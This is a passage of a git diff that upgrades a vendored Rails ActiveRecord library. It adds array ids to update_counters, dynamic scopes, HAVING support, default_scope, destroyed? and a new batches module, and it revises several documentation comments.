+      # once. It generates at least one SQL +DELETE+ query per record (or
+      # possibly more, to enforce your callbacks). If you want to delete many
+      # rows quickly, without concern for their associations or callbacks, use
+      # +delete_all+ instead.
       #
       # ==== Parameters
       #
-      # * +conditions+ - Conditions are specified the same way as with +find+ method.
+      # * +conditions+ - A string, array, or hash that specifies which records
+      #   to destroy. If omitted, all records are destroyed. See the
+      #   Conditions section in the introduction to ActiveRecord::Base for
+      #   more information.
       #
-      # ==== Example
+      # ==== Examples
       #
       #   Person.destroy_all("last_login < '2004-04-04'")
-      #
-      # This loads and destroys each person one by one, including its dependent associations and before_ and
-      # after_destroy callbacks.
-      #
-      # +conditions+ can be anything that +find+ also accepts:
-      #
-      #   Person.destroy_all(:last_login => 6.hours.ago)
+      #   Person.destroy_all(:status => "inactive")
       def destroy_all(conditions = nil)
         find(:all, :conditions => conditions).each { |object| object.destroy }
       end
@@ -843,7 +880,8 @@ module ActiveRecord #:nodoc:
       # Deletes the records matching +conditions+ without instantiating the records first, and hence not
       # calling the +destroy+ method nor invoking callbacks. This is a single SQL DELETE statement that
       # goes straight to the database, much more efficient than +destroy_all+. Be careful with relations
-      # though, in particular <tt>:dependent</tt> rules defined on associations are not honored.
+      # though, in particular <tt>:dependent</tt> rules defined on associations are not honored.  Returns
+      # the number of rows affected.
       #
       # ==== Parameters
       #
@@ -886,7 +924,7 @@ module ActiveRecord #:nodoc:
       #
       # ==== Parameters
       #
-      # * +id+ - The id of the object you wish to update a counter on.
+      # * +id+ - The id of the object you wish to update a counter on or an Array of ids.
       # * +counters+ - An Array of Hashes containing the names of the fields
       #   to update as keys and the amount to update the field by as values.
       #
@@ -900,12 +938,27 @@ module ActiveRecord #:nodoc:
       #   #    SET comment_count = comment_count - 1,
       #   #        action_count = action_count + 1
       #   #  WHERE id = 5
+      #
+      #   # For the Posts with id of 10 and 15, increment the comment_count by 1
+      #   Post.update_counters [10, 15], :comment_count => 1
+      #   # Executes the following SQL:
+      #   # UPDATE posts
+      #   #    SET comment_count = comment_count + 1,
+      #   #  WHERE id IN (10, 15)
       def update_counters(id, counters)
         updates = counters.inject([]) { |list, (counter_name, increment)|
           sign = increment < 0 ? "-" : "+"
           list << "#{connection.quote_column_name(counter_name)} = COALESCE(#{connection.quote_column_name(counter_name)}, 0) #{sign} #{increment.abs}"
         }.join(", ")
-        update_all(updates, "#{connection.quote_column_name(primary_key)} = #{quote_value(id)}")
+
+        if id.is_a?(Array)
+          ids_list = id.map {|i| quote_value(i)}.join(', ')
+          condition = "IN  (#{ids_list})"
+        else
+          condition = "= #{quote_value(id)}"
+        end
+
+        update_all(updates, "#{connection.quote_column_name(primary_key)} #{condition}")
       end
 
       # Increment a number field by one, usually representing a count.
@@ -944,7 +997,6 @@ module ActiveRecord #:nodoc:
         update_counters(id, counter_name => -1)
       end
 
-
       # Attributes named in this macro are protected from mass-assignment,
       # such as <tt>new(attributes)</tt>,
       # <tt>update_attributes(attributes)</tt>, or
@@ -1045,7 +1097,6 @@ module ActiveRecord #:nodoc:
         read_inheritable_attribute(:attr_serialized) or write_inheritable_attribute(:attr_serialized, {})
       end
 
-
       # Guesses the table name (in forced lower-case) based on the name of the class in the inheritance hierarchy descending
       # directly from ActiveRecord::Base. So if the hierarchy looks like: Reply < Message < ActiveRecord::Base, then Message is used
       # to guess the table name even when called on Reply. The rules used to do the guess are handled by the Inflector class
@@ -1288,7 +1339,7 @@ module ActiveRecord #:nodoc:
         subclasses.each { |klass| klass.reset_inheritable_attributes; klass.reset_column_information }
       end
 
-      def self_and_descendents_from_active_record#nodoc:
+      def self_and_descendants_from_active_record#nodoc:
         klass = self
         classes = [klass]
         while klass != klass.base_class  
@@ -1308,12 +1359,12 @@ module ActiveRecord #:nodoc:
       # module now.
       # Specify +options+ with additional translating options.
       def human_attribute_name(attribute_key_name, options = {})
-        defaults = self_and_descendents_from_active_record.map do |klass|
+        defaults = self_and_descendants_from_active_record.map do |klass|
           :"#{klass.name.underscore}.#{attribute_key_name}"
         end
         defaults << options[:default] if options[:default]
         defaults.flatten!
-        defaults << attribute_key_name.humanize
+        defaults << attribute_key_name.to_s.humanize
         options[:count] ||= 1
         I18n.translate(defaults.shift, options.merge(:default => defaults, :scope => [:activerecord, :attributes]))
       end
@@ -1323,7 +1374,7 @@ module ActiveRecord #:nodoc:
       # Default scope of the translation is activerecord.models
       # Specify +options+ with additional translating options.
       def human_name(options = {})
-        defaults = self_and_descendents_from_active_record.map do |klass|
+        defaults = self_and_descendants_from_active_record.map do |klass|
           :"#{klass.name.underscore}"
         end 
         defaults << self.name.humanize
@@ -1358,7 +1409,6 @@ module ActiveRecord #:nodoc:
         end
       end
 
-
       def quote_value(value, column = nil) #:nodoc:
         connection.quote(value,column)
       end
@@ -1384,8 +1434,8 @@ module ActiveRecord #:nodoc:
       def benchmark(title, log_level = Logger::DEBUG, use_silence = true)
         if logger && logger.level <= log_level
           result = nil
-          seconds = Benchmark.realtime { result = use_silence ? silence { yield } : yield }
-          logger.add(log_level, "#{title} (#{'%.1f' % (seconds * 1000)}ms)")
+          ms = Benchmark.ms { result = use_silence ? silence { yield } : yield }
+          logger.add(log_level, '%s (%.1fms)' % [title, ms])
           result
         else
           yield
@@ -1424,7 +1474,10 @@ module ActiveRecord #:nodoc:
       def respond_to?(method_id, include_private = false)
         if match = DynamicFinderMatch.match(method_id)
           return true if all_attributes_exists?(match.attribute_names)
+        elsif match = DynamicScopeMatch.match(method_id)
+          return true if all_attributes_exists?(match.attribute_names)
         end
+
         super
       end
 
@@ -1462,15 +1515,20 @@ module ActiveRecord #:nodoc:
           end
 
           if scoped?(:find, :order)
-            scoped_order = reverse_sql_order(scope(:find, :order))
-            scoped_methods.select { |s| s[:find].update(:order => scoped_order) }
+            scope = scope(:find)
+            original_scoped_order = scope[:order]
+            scope[:order] = reverse_sql_order(original_scoped_order)
           end
 
-          find_initial(options.merge({ :order => order }))
+          begin
+            find_initial(options.merge({ :order => order }))
+          ensure
+            scope[:order] = original_scoped_order if original_scoped_order
+          end
         end
 
         def reverse_sql_order(order_query)
-          reversed_query = order_query.split(/,/).each { |s|
+          reversed_query = order_query.to_s.split(/,/).each { |s|
             if s.match(/\s(asc|ASC)$/)
               s.gsub!(/\s(asc|ASC)$/, ' DESC')
             elsif s.match(/\s(desc|DESC)$/)
@@ -1623,12 +1681,12 @@ module ActiveRecord #:nodoc:
         def construct_finder_sql(options)
           scope = scope(:find)
           sql  = "SELECT #{options[:select] || (scope && scope[:select]) || default_select(options[:joins] || (scope && scope[:joins]))} "
-          sql << "FROM #{(scope && scope[:from]) || options[:from] || quoted_table_name} "
+          sql << "FROM #{options[:from]  || (scope && scope[:from]) || quoted_table_name} "
 
           add_joins!(sql, options[:joins], scope)
           add_conditions!(sql, options[:conditions], scope)
 
-          add_group!(sql, options[:group], scope)
+          add_group!(sql, options[:group], options[:having], scope)
           add_order!(sql, options[:order], scope)
           add_limit!(sql, options, scope)
           add_lock!(sql, options, scope)
@@ -1651,7 +1709,7 @@ module ActiveRecord #:nodoc:
               end
               join
             end
-            joins.flatten.uniq
+            joins.flatten.map{|j| j.strip}.uniq
           else
             joins.collect{|j| safe_to_array(j)}.flatten.uniq
           end
@@ -1678,19 +1736,23 @@ module ActiveRecord #:nodoc:
           scoped_order = scope[:order] if scope
           if order
             sql << " ORDER BY #{order}"
-            sql << ", #{scoped_order}" if scoped_order
+            if scoped_order && scoped_order != order
+              sql << ", #{scoped_order}"
+            end
           else
             sql << " ORDER BY #{scoped_order}" if scoped_order
           end
         end
 
-        def add_group!(sql, group, scope = :auto)
+        def add_group!(sql, group, having, scope = :auto)
           if group
             sql << " GROUP BY #{group}"
+            sql << " HAVING #{sanitize_sql_for_conditions(having)}" if having
           else
             scope = scope(:find) if :auto == scope
             if scope && (scoped_group = scope[:group])
               sql << " GROUP BY #{scoped_group}"
+              sql << " HAVING #{sanitize_sql_for_conditions(scope[:having])}" if scope[:having]
             end
           end
         end
@@ -1760,17 +1822,19 @@ module ActiveRecord #:nodoc:
           table_name
         end
 
-        # Enables dynamic finders like find_by_user_name(user_name) and find_by_user_name_and_password(user_name, password) that are turned into
-        # find(:first, :conditions => ["user_name = ?", user_name]) and  find(:first, :conditions => ["user_name = ? AND password = ?", user_name, password])
-        # respectively. Also works for find(:all) by using find_all_by_amount(50) that is turned into find(:all, :conditions => ["amount = ?", 50]).
+        # Enables dynamic finders like <tt>find_by_user_name(user_name)</tt> and <tt>find_by_user_name_and_password(user_name, password)</tt>
+        # that are turned into <tt>find(:first, :conditions => ["user_name = ?", user_name])</tt> and
+        # <tt>find(:first, :conditions => ["user_name = ? AND password = ?", user_name, password])</tt> respectively. Also works for
+        # <tt>find(:all)</tt> by using <tt>find_all_by_amount(50)</tt> that is turned into <tt>find(:all, :conditions => ["amount = ?", 50])</tt>.
         #
-        # It's even possible to use all the additional parameters to find. For example, the full interface for find_all_by_amount
-        # is actually find_all_by_amount(amount, options).
+        # It's even possible to use all the additional parameters to +find+. For example, the full interface for +find_all_by_amount+
+        # is actually <tt>find_all_by_amount(amount, options)</tt>.
         #
-        # This also enables you to initialize a record if it is not found, such as find_or_initialize_by_amount(amount)
-        # or find_or_create_by_user_and_password(user, password).
+        # Also enables dynamic scopes like scoped_by_user_name(user_name) and scoped_by_user_name_and_password(user_name, password) that
+        # are turned into scoped(:conditions => ["user_name = ?", user_name]) and scoped(:conditions => ["user_name = ? AND password = ?", user_name, password])
+        # respectively.
         #
-        # Each dynamic finder or initializer/creator is also defined in the class after it is first invoked, so that future
+        # Each dynamic finder, scope or initializer/creator is also defined in the class after it is first invoked, so that future
         # attempts to use it do not run through method_missing.
         def method_missing(method_id, *arguments, &block)
           if match = DynamicFinderMatch.match(method_id)
@@ -1779,10 +1843,31 @@ module ActiveRecord #:nodoc:
             if match.finder?
               finder = match.finder
               bang = match.bang?
+              # def self.find_by_login_and_activated(*args)
+              #   options = args.extract_options!
+              #   attributes = construct_attributes_from_arguments(
+              #     [:login,:activated],
+              #     args
+              #   )
+              #   finder_options = { :conditions => attributes }
+              #   validate_find_options(options)
+              #   set_readonly_option!(options)
+              #
+              #   if options[:conditions]
+              #     with_scope(:find => finder_options) do
+              #       find(:first, options)
+              #     end
+              #   else
+              #     find(:first, options.merge(finder_options))
+              #   end
+              # end
               self.class_eval %{
                 def self.#{method_id}(*args)
                   options = args.extract_options!
-                  attributes = construct_attributes_from_arguments([:#{attribute_names.join(',:')}], args)
+                  attributes = construct_attributes_from_arguments(
+                    [:#{attribute_names.join(',:')}],
+                    args
+                  )
                   finder_options = { :conditions => attributes }
                   validate_find_options(options)
                   set_readonly_option!(options)
@@ -1794,12 +1879,37 @@ module ActiveRecord #:nodoc:
                   else
                     find(:#{finder}, options.merge(finder_options))
                   end
-                  #{'result || raise(RecordNotFound)' if bang}
+                  #{'result || raise(RecordNotFound, "Couldn\'t find #{name} with #{attributes.to_a.collect {|pair| "#{pair.first} = #{pair.second}"}.join(\', \')}")' if bang}
                 end
               }, __FILE__, __LINE__
               send(method_id, *arguments)
             elsif match.instantiator?
               instantiator = match.instantiator
+              # def self.find_or_create_by_user_id(*args)
+              #   guard_protected_attributes = false
+              #
+              #   if args[0].is_a?(Hash)
+              #     guard_protected_attributes = true
+              #     attributes = args[0].with_indifferent_access
+              #     find_attributes = attributes.slice(*[:user_id])
+              #   else
+              #     find_attributes = attributes = construct_attributes_from_arguments([:user_id], args)
+              #   end
+              #
+              #   options = { :conditions => find_attributes }
+              #   set_readonly_option!(options)
+              #
+              #   record = find(:first, options)
+              #
+              #   if record.nil?
+              #     record = self.new { |r| r.send(:attributes=, attributes, guard_protected_attributes) }
+              #     yield(record) if block_given?
+              #     record.save
+              #     record
+              #   else
+              #     record
+              #   end
+              # end
               self.class_eval %{
                 def self.#{method_id}(*args)
                   guard_protected_attributes = false
@@ -1829,6 +1939,22 @@ module ActiveRecord #:nodoc:
               }, __FILE__, __LINE__
               send(method_id, *arguments, &block)
             end
+          elsif match = DynamicScopeMatch.match(method_id)
+            attribute_names = match.attribute_names
+            super unless all_attributes_exists?(attribute_names)
+            if match.scope?
+              self.class_eval %{
+                def self.#{method_id}(*args)                        # def self.scoped_by_user_name_and_password(*args)
+                  options = args.extract_options!                   #   options = args.extract_options!
+                  attributes = construct_attributes_from_arguments( #   attributes = construct_attributes_from_arguments(
+                    [:#{attribute_names.join(',:')}], args          #     [:user_name, :password], args
+                  )                                                 #   )
+                                                                    # 
+                  scoped(:conditions => attributes)                 #   scoped(:conditions => attributes)
+                end                                                 # end
+              }, __FILE__, __LINE__
+              send(method_id, *arguments)
+            end
           else
             super
           end
@@ -1860,12 +1986,16 @@ module ActiveRecord #:nodoc:
           attribute_names.all? { |name| column_methods_hash.include?(name.to_sym) }
         end
 
-        def attribute_condition(argument)
+        def attribute_condition(quoted_column_name, argument)
           case argument
-            when nil   then "IS ?"
-            when Array, ActiveRecord::Associations::AssociationCollection, ActiveRecord::NamedScope::Scope then "IN (?)"
-            when Range then "BETWEEN ? AND ?"
-            else            "= ?"
+            when nil   then "#{quoted_column_name} IS ?"
+            when Array, ActiveRecord::Associations::AssociationCollection, ActiveRecord::NamedScope::Scope then "#{quoted_column_name} IN (?)"
+            when Range then if argument.exclude_end?
+                              "#{quoted_column_name} >= ? AND #{quoted_column_name} < ?"
+                            else
+                              "#{quoted_column_name} BETWEEN ? AND ?"
+                            end
+            else            "#{quoted_column_name} = ?"
           end
         end
 
@@ -1877,7 +2007,6 @@ module ActiveRecord #:nodoc:
           end
         end
 
-
         # Defines an "attribute" method (like +inheritance_column+ or
         # +table_name+). A new (class) method will be created with the
         # given name. If a value is specified, the new method will
@@ -1924,7 +2053,11 @@ module ActiveRecord #:nodoc:
         #   end
         #
         # In nested scopings, all previous parameters are overwritten by the innermost rule, with the exception of
-        # <tt>:conditions</tt> and <tt>:include</tt> options in <tt>:find</tt>, which are merged.
+        # <tt>:conditions</tt>, <tt>:include</tt>, and <tt>:joins</tt> options in <tt>:find</tt>, which are merged.
+        #
+        # <tt>:joins</tt> options are uniqued so multiple scopes can join in the same table without table aliasing
+        # problems.  If you need to join multiple tables, but still want one of the tables to be uniqued, use the
+        # array of strings format for your joins.
         #
         #   class Article < ActiveRecord::Base
         #     def self.find_with_scope
@@ -1970,7 +2103,7 @@ module ActiveRecord #:nodoc:
           end
 
           # Merge scopings
-          if action == :merge && current_scoped_methods
+          if [:merge, :reverse_merge].include?(action) && current_scoped_methods
             method_scoping = current_scoped_methods.inject(method_scoping) do |hash, (method, params)|
               case hash[method]
                 when Hash
@@ -1978,7 +2111,11 @@ module ActiveRecord #:nodoc:
                     (hash[method].keys + params.keys).uniq.each do |key|
                       merge = hash[method][key] && params[key] # merge if both scopes have the same key
                       if key == :conditions && merge
-                        hash[method][key] = merge_conditions(params[key], hash[method][key])
+                        if params[key].is_a?(Hash) && hash[method][key].is_a?(Hash)
+                          hash[method][key] = merge_conditions(hash[method][key].deep_merge(params[key]))
+                        else
+                          hash[method][key] = merge_conditions(params[key], hash[method][key])
+                        end
                       elsif key == :include && merge
                         hash[method][key] = merge_includes(hash[method][key], params[key]).uniq
                       elsif key == :joins && merge
@@ -1988,7 +2125,11 @@ module ActiveRecord #:nodoc:
                       end
                     end
                   else
-                    hash[method] = params.merge(hash[method])
+                    if action == :reverse_merge
+                      hash[method] = hash[method].merge(params)
+                    else
+                      hash[method] = params.merge(hash[method])
+                    end
                   end
                 else
                   hash[method] = params
@@ -1998,7 +2139,6 @@ module ActiveRecord #:nodoc:
           end
 
           self.scoped_methods << method_scoping
-
           begin
             yield
           ensure
@@ -2016,10 +2156,20 @@ module ActiveRecord #:nodoc:
           @@subclasses[self] + extra = @@subclasses[self].inject([]) {|list, subclass| list + subclass.subclasses }
         end
 
+        # Sets the default options for the model. The format of the
+        # <tt>options</tt> argument is the same as in find.
+        #
+        #   class Person < ActiveRecord::Base
+        #     default_scope :order => 'last_name, first_name'
+        #   end
+        def default_scope(options = {})
+          self.default_scoping << { :find => options, :create => options[:conditions].is_a?(Hash) ? options[:conditions] : {} }
+        end
+
         # Test whether the given method and optional key are scoped.
         def scoped?(method, key = nil) #:nodoc:
           if current_scoped_methods && (scope = current_scoped_methods[method])
-            !key || scope.has_key?(key)
+            !key || !scope[key].nil?
           end
         end
 
@@ -2031,14 +2181,14 @@ module ActiveRecord #:nodoc:
         end
 
         def scoped_methods #:nodoc:
-          Thread.current[:"#{self}_scoped_methods"] ||= []
+          Thread.current[:"#{self}_scoped_methods"] ||= self.default_scoping.dup
         end
 
         def current_scoped_methods #:nodoc:
           scoped_methods.last
         end
 
-        # Returns the class type of the record using the current module as a prefix. So descendents of
+        # Returns the class type of the record using the current module as a prefix. So descendants of
         # MyApp::Business::Account would appear as MyApp::Business::AccountSubclass.
         def compute_type(type_name)
           modularized_name = type_name_with_module(type_name)
@@ -2051,7 +2201,8 @@ module ActiveRecord #:nodoc:
           end
         end
 
-        # Returns the class descending directly from Active Record in the inheritance hierarchy.
+        # Returns the class descending directly from ActiveRecord::Base or an
+        # abstract class, if any, in the inheritance hierarchy.
         def class_of_active_record_descendant(klass)
           if klass.superclass == Base || klass.superclass.abstract_class?
             klass
@@ -2072,12 +2223,12 @@ module ActiveRecord #:nodoc:
         #   ["name='%s' and group_id='%s'", "foo'bar", 4]  returns  "name='foo''bar' and group_id='4'"
         #   { :name => "foo'bar", :group_id => 4 }  returns "name='foo''bar' and group_id='4'"
         #   "name='foo''bar' and group_id='4'" returns "name='foo''bar' and group_id='4'"
-        def sanitize_sql_for_conditions(condition)
+        def sanitize_sql_for_conditions(condition, table_name = quoted_table_name)
           return nil if condition.blank?
 
           case condition
             when Array; sanitize_sql_array(condition)
-            when Hash;  sanitize_sql_hash_for_conditions(condition)
+            when Hash;  sanitize_sql_hash_for_conditions(condition, table_name)
             else        condition
           end
         end
@@ -2143,20 +2294,24 @@ module ActiveRecord #:nodoc:
         # And for value objects on a composed_of relationship:
         #   { :address => Address.new("123 abc st.", "chicago") }
         #     # => "address_street='123 abc st.' and address_city='chicago'"
-        def sanitize_sql_hash_for_conditions(attrs, table_name = quoted_table_name)
+        def sanitize_sql_hash_for_conditions(attrs, default_table_name = quoted_table_name)
           attrs = expand_hash_conditions_for_aggregates(attrs)
 
           conditions = attrs.map do |attr, value|
+            table_name = default_table_name
+
             unless value.is_a?(Hash)
               attr = attr.to_s
 
               # Extract table name from qualified attribute names.
               if attr.include?('.')
-                table_name, attr = attr.split('.', 2)
-                table_name = connection.quote_table_name(table_name)
+                attr_table_name, attr = attr.split('.', 2)
+                attr_table_name = connection.quote_table_name(attr_table_name)
+              else
+                attr_table_name = table_name
               end
 
-              "#{table_name}.#{connection.quote_column_name(attr)} #{attribute_condition(value)}"
+              attribute_condition("#{attr_table_name}.#{connection.quote_column_name(attr)}", value)
             else
               sanitize_sql_hash_for_conditions(value, connection.quote_table_name(attr.to_s))
             end
@@ -2245,7 +2400,7 @@ module ActiveRecord #:nodoc:
         end
 
         VALID_FIND_OPTIONS = [ :conditions, :include, :joins, :limit, :offset,
-                               :order, :select, :readonly, :group, :from, :lock ]
+                               :order, :select, :readonly, :group, :having, :from, :lock ]
 
         def validate_find_options(options) #:nodoc:
           options.assert_valid_keys(VALID_FIND_OPTIONS)
@@ -2303,15 +2458,15 @@ module ActiveRecord #:nodoc:
       # object. The default implementation returns this record's id as a String,
       # or nil if this record's unsaved.
       #
-      # For example, suppose that you have a Users model, and that you have a
-      # <tt>map.resources :users</tt> route. Normally, +users_path+ will
-      # construct an URI with the user object's 'id' in it:
+      # For example, suppose that you have a User model, and that you have a
+      # <tt>map.resources :users</tt> route. Normally, +user_path+ will
+      # construct a path with the user object's 'id' in it:
       #
       #   user = User.find_by_name('Phusion')
-      #   user_path(path)  # => "/users/1"
+      #   user_path(user)  # => "/users/1"
       #
-      # You can override +to_param+ in your model to make +users_path+ construct
-      # an URI using the user's name instead of the user's id:
+      # You can override +to_param+ in your model to make +user_path+ construct
+      # a path using the user's name instead of the user's id:
       #
       #   class User < ActiveRecord::Base
       #     def to_param  # overridden
@@ -2320,7 +2475,7 @@ module ActiveRecord #:nodoc:
       #   end
       #   
       #   user = User.find_by_name('Phusion')
-      #   user_path(path)  # => "/users/Phusion"
+      #   user_path(user)  # => "/users/Phusion"
       def to_param
         # We can't use alias_method here, because method 'id' optimizes itself on the fly.
         (id = self.id) ? id.to_s : nil # Be sure to stringify the id for routes
@@ -2357,9 +2512,9 @@ module ActiveRecord #:nodoc:
         write_attribute(self.class.primary_key, value)
       end
 
-      # Returns true if this object hasn't been saved yet -- that is, a record for the object doesn't exist yet.
+      # Returns true if this object hasn't been saved yet -- that is, a record for the object doesn't exist yet; otherwise, returns false.
       def new_record?
-        defined?(@new_record) && @new_record
+        @new_record || false
       end
 
       # :call-seq:
@@ -2400,16 +2555,19 @@ module ActiveRecord #:nodoc:
         create_or_update || raise(RecordNotSaved)
       end
 
-      # Deletes the record in the database and freezes this instance to reflect that no changes should
-      # be made (since they can't be persisted).
+      # Deletes the record in the database and freezes this instance to
+      # reflect that no changes should be made (since they can't be
+      # persisted). Returns the frozen instance.
       #
-      # Unlike #destroy, this method doesn't run any +before_delete+ and +after_delete+
-      # callbacks, nor will it enforce any association +:dependent+ rules.
-      # 
-      # In addition to deleting this record, any defined +before_delete+ and +after_delete+
-      # callbacks are run, and +:dependent+ rules defined on associations are run.
+      # The row is simply removed with a SQL +DELETE+ statement on the
+      # record's primary key, and no callbacks are executed.
+      #
+      # To enforce the object's +before_destroy+ and +after_destroy+
+      # callbacks, Observer methods, or any <tt>:dependent</tt> association
+      # options, use <tt>#destroy</tt>.
       def delete
         self.class.delete(id) unless new_record?
+        @destroyed = true
         freeze
       end
 
@@ -2424,6 +2582,7 @@ module ActiveRecord #:nodoc:
           )
         end
 
+        @destroyed = true
         freeze
       end
 
@@ -2591,7 +2750,6 @@ module ActiveRecord #:nodoc:
         assign_multiparameter_attributes(multi_parameter_attributes)
       end
 
-
       # Returns a hash of all the attributes with their names as keys and the values of the attributes as values.
       def attributes
         self.attribute_names.inject({}) do |attrs, name|
@@ -2608,7 +2766,19 @@ module ActiveRecord #:nodoc:
         end
       end
 
-      # Format attributes nicely for inspect.
+      # Returns an <tt>#inspect</tt>-like string for the value of the
+      # attribute +attr_name+. String attributes are elided after 50
+      # characters, and Date and Time attributes are returned in the
+      # <tt>:db</tt> format. Other attributes return the value of
+      # <tt>#inspect</tt> without modification.
+      #
+      #   person = Person.create!(:name => "David Heinemeier Hansson " * 3)
+      #
+      #   person.attribute_for_inspect(:name)
+      #   # => '"David Heinemeier Hansson David Heinemeier Hansson D..."'
+      #
+      #   person.attribute_for_inspect(:created_at)
+      #   # => '"2009-01-12 04:48:57"'
       def attribute_for_inspect(attr_name)
         value = read_attribute(attr_name)
 
@@ -2672,6 +2842,11 @@ module ActiveRecord #:nodoc:
         @attributes.frozen?
       end
 
+      # Returns +true+ if the record has been destroyed.
+      def destroyed?
+        @destroyed
+      end
+
       # Returns +true+ if the record is read only. Records loaded through joins with piggy-back
       # attributes will be marked as read only since they cannot be saved.
       def readonly?
@@ -2737,7 +2912,7 @@ module ActiveRecord #:nodoc:
         id
       end
 
-      # Sets the attribute used for single table inheritance to this class name if this is not the ActiveRecord::Base descendent.
+      # Sets the attribute used for single table inheritance to this class name if this is not the ActiveRecord::Base descendant.
       # Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to do Reply.new without having to
       # set <tt>Reply[Reply.inheritance_column] = "Reply"</tt> yourself. No such attribute would be set for objects of the
       # Message class in that example.
@@ -2864,16 +3039,22 @@ module ActiveRecord #:nodoc:
 
       def execute_callstack_for_multiparameter_attributes(callstack)
         errors = []
-        callstack.each do |name, values|
-          klass = (self.class.reflect_on_aggregation(name.to_sym) || column_for_attribute(name)).klass
-          if values.empty?
-            send(name + "=", nil)
-          else
-            begin
+        callstack.each do |name, values_with_empty_parameters|
+          begin
+            klass = (self.class.reflect_on_aggregation(name.to_sym) || column_for_attribute(name)).klass
+            # in order to allow a date to be set without a year, we must keep the empty values.
+            # Otherwise, we wouldn't be able to distinguish it from a date with an empty day.
+            values = values_with_empty_parameters.reject(&:nil?)
+
+            if values.empty?
+              send(name + "=", nil)
+            else
+
               value = if Time == klass
                 instantiate_time_object(name, values)
               elsif Date == klass
                 begin
+                  values = values_with_empty_parameters.collect do |v| v.nil? ? 1 : v end
                   Date.new(*values)
                 rescue ArgumentError => ex # if Date.new raises an exception on an invalid date
                   instantiate_time_object(name, values).to_date # we instantiate Time object and convert it back to a date thus using Time's logic in handling invalid dates
@@ -2883,9 +3064,9 @@ module ActiveRecord #:nodoc:
               end
 
               send(name + "=", value)
-            rescue => ex
-              errors << AttributeAssignmentError.new("error on assignment #{values.inspect} to #{name}", ex, name)
             end
+          rescue => ex
+            errors << AttributeAssignmentError.new("error on assignment #{values.inspect} to #{name}", ex, name)
           end
         end
         unless errors.empty?
@@ -2901,17 +3082,15 @@ module ActiveRecord #:nodoc:
           attribute_name = multiparameter_name.split("(").first
           attributes[attribute_name] = [] unless attributes.include?(attribute_name)
 
-          unless value.empty?
-            attributes[attribute_name] <<
-              [ find_parameter_position(multiparameter_name), type_cast_attribute_value(multiparameter_name, value) ]
-          end
+          parameter_value = value.empty? ? nil : type_cast_attribute_value(multiparameter_name, value)
+          attributes[attribute_name] << [ find_parameter_position(multiparameter_name), parameter_value ]
         end
 
         attributes.each { |name, values| attributes[name] = values.sort_by{ |v| v.first }.collect { |v| v.last } }
       end
 
       def type_cast_attribute_value(multiparameter_name, value)
-        multiparameter_name =~ /\([0-9]*([a-z])\)/ ? value.send("to_" + $1) : value
+        multiparameter_name =~ /\([0-9]*([if])\)/ ? value.send("to_" + $1) : value
       end
 
       def find_parameter_position(multiparameter_name)
@@ -2964,4 +3143,23 @@ module ActiveRecord #:nodoc:
         value
       end
   end
+
+  Base.class_eval do
+    extend QueryCache::ClassMethods
+    include Validations
+    include Locking::Optimistic, Locking::Pessimistic
+    include AttributeMethods
+    include Dirty
+    include Callbacks, Observing, Timestamp
+    include Associations, AssociationPreload, NamedScope
+
+    # AutosaveAssociation needs to be included before Transactions, because we want
+    # #save_with_autosave_associations to be wrapped inside a transaction.
+    include AutosaveAssociation, NestedAttributes
+
+    include Aggregations, Transactions, Reflection, Batches, Calculations, Serialization
+  end
 end
+
+# TODO: Remove this and make it work with LAZY flag
+require 'active_record/connection_adapters/abstract_adapter'
diff --git a/vendor/rails/activerecord/lib/active_record/batches.rb b/vendor/rails/activerecord/lib/active_record/batches.rb
new file mode 100644
index 00000000..5a6cecd4
--- /dev/null
+++ b/vendor/rails/activerecord/lib/active_record/batches.rb
@@ -0,0 +1,81 @@
+module ActiveRecord
+  module Batches # :nodoc:
+    def self.included(base)
+      base.extend(ClassMethods)
+    end
+
+    # When processing large numbers of records, it's often a good idea to do
+    # so in batches to prevent memory ballooning.
+    module ClassMethods
+      # Yields each record that was found by the find +options+. The find is
+      # performed by find_in_batches with a batch size of 1000 (or as
+      # specified by the <tt>:batch_size</tt> option).
+      #
+      # Example:
+      #
+      #   Person.find_each(:conditions => "age > 21") do |person|
+      #     person.party_all_night!
+      #   end
+      #
+      # Note: This method is only intended to use for batch processing of
+      # large amounts of records that wouldn't fit in memory all at once. If
+      # you just need to loop over less than 1000 records, it's probably
+      # better just to use the regular find methods.
+      def find_each(options = {})
+        find_in_batches(options) do |records|
+          records.each { |record| yield record }
+        end
+
+        self
+      end
+
+      # Yields each batch of records that was found by the find +options+ as
+      # an array. The size of each batch is set by the <tt>:batch_size</tt>
+      # option; the default is 1000.
+      #
+      # You can control the starting point for the batch processing by
+      # supplying the <tt>:start</tt> option. This is especially useful if you
+      # want multiple workers dealing with the same processing queue. You can
+      # make worker 1 handle all the records between id 0 and 10,000 and
+      # worker 2 handle from 10,000 and beyond (by setting the <tt>:start</tt>
+      # option on that worker).
+      #
+      # It's not possible to set the order. That is automatically set to
+      # ascending on the primary key ("id ASC") to make the batch ordering
+      # work. This also mean that this method only works with integer-based
+      # primary keys. You can't set the limit either, that's used to control
+      # the the batch sizes.
+      #
+      # Example:
+      #
+      #   Person.find_in_batches(:conditions => "age > 21") do |group|
+      #     sleep(50) # Make sure it doesn't get too crowded in there!
+      #     group.each { |person| person.party_all_night! }
+      #   end
+      def find_in_batches(options = {})
+        raise "You can't specify an order, it's forced to be #{batch_order}" if options[:order]
+        raise "You can't specify a limit, it's forced to be the batch_size"  if options[:limit]
+
+        start = options.delete(:start).to_i
+        batch_size = options.delete(:batch_size) || 1000
+
+        with_scope(:find => options.merge(:order => batch_order, :limit => batch_size)) do
+          records = find(:all, :conditions => [ "#{table_name}.#{primary_key} >= ?", start ])
+
+          while records.any?
+            yield records
+
+            break if records.size < batch_size
+            records = find(:all, :conditions => [ "#{table_name}.#{primary_key} > ?", records.last.id ])
+          end
+        end
+      end
+      
+      
+      private
+        def batch_order
+          "#{table_name}.#{primary_key} ASC"
+        end
+    end
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/lib/active_record/calculations.rb b/vendor/rails/activerecord/lib/active_record/calculations.rb
index 65512d53..eb149e8c 100644
--- a/vendor/rails/activerecord/lib/active_record/calculations.rb
+++ b/vendor/rails/activerecord/lib/active_record/calculations.rb
@@ -48,30 +48,38 @@ module ActiveRecord
         calculate(:count, *construct_count_options_from_args(*args))
       end
 
-      # Calculates the average value on a given column.  The value is returned as a float.  See +calculate+ for examples with options.
+      # Calculates the average value on a given column. The value is returned as
+      # a float, or +nil+ if there's no row. See +calculate+ for examples with
+      # options.
       #
-      #   Person.average('age')
+      #   Person.average('age') # => 35.8
       def average(column_name, options = {})
         calculate(:avg, column_name, options)
       end
